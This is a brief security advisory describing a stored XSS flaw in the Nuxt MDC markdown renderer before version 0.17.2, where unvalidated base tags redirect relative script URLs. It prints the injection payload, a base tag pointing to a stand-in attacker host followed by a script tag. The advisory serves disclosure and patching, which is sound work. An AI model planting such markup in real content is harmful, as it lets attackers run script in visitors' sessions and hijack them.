Executive brief
Nuxt MDC is a markdown content renderer used in Nuxt-based websites, blogs, and documentation systems. A flaw in HTML filtering allows attackers to inject a `<base>` tag in markdown that redirects subsequent relative URLs to an attacker-controlled server, enabling malicious script injection and full session hijacking for site visitors.
Technical details
The vulnerability is a stored XSS via improper HTML attribute validation (CWE-79, CWE-80). The validateProp() function in src/runtime/parser/utils/props.ts blocks event handlers (on*) and filters href/src on anchors, but fails to validate href on `<base>` tags. When a markdown author injects `<base href="https://attacker.tld">`, subsequent relative URLs are resolved to the attacker's domain. A `<script src="/xss.js"></script>` tag following the base element then loads and executes arbitrary JavaScript from the attacker's server under the victim site's origin. The attack requires no authentication or user interaction beyond visiting a page with malicious markdown. Patched in version 0.17.2; the fix sanitizes or strips `<base>` tags entirely.
Affected products
- Nuxt MDC before 0.17.2
Timeline
- 2025-07-18: disclosed
- 2025-07-20: patched: version 0.17.2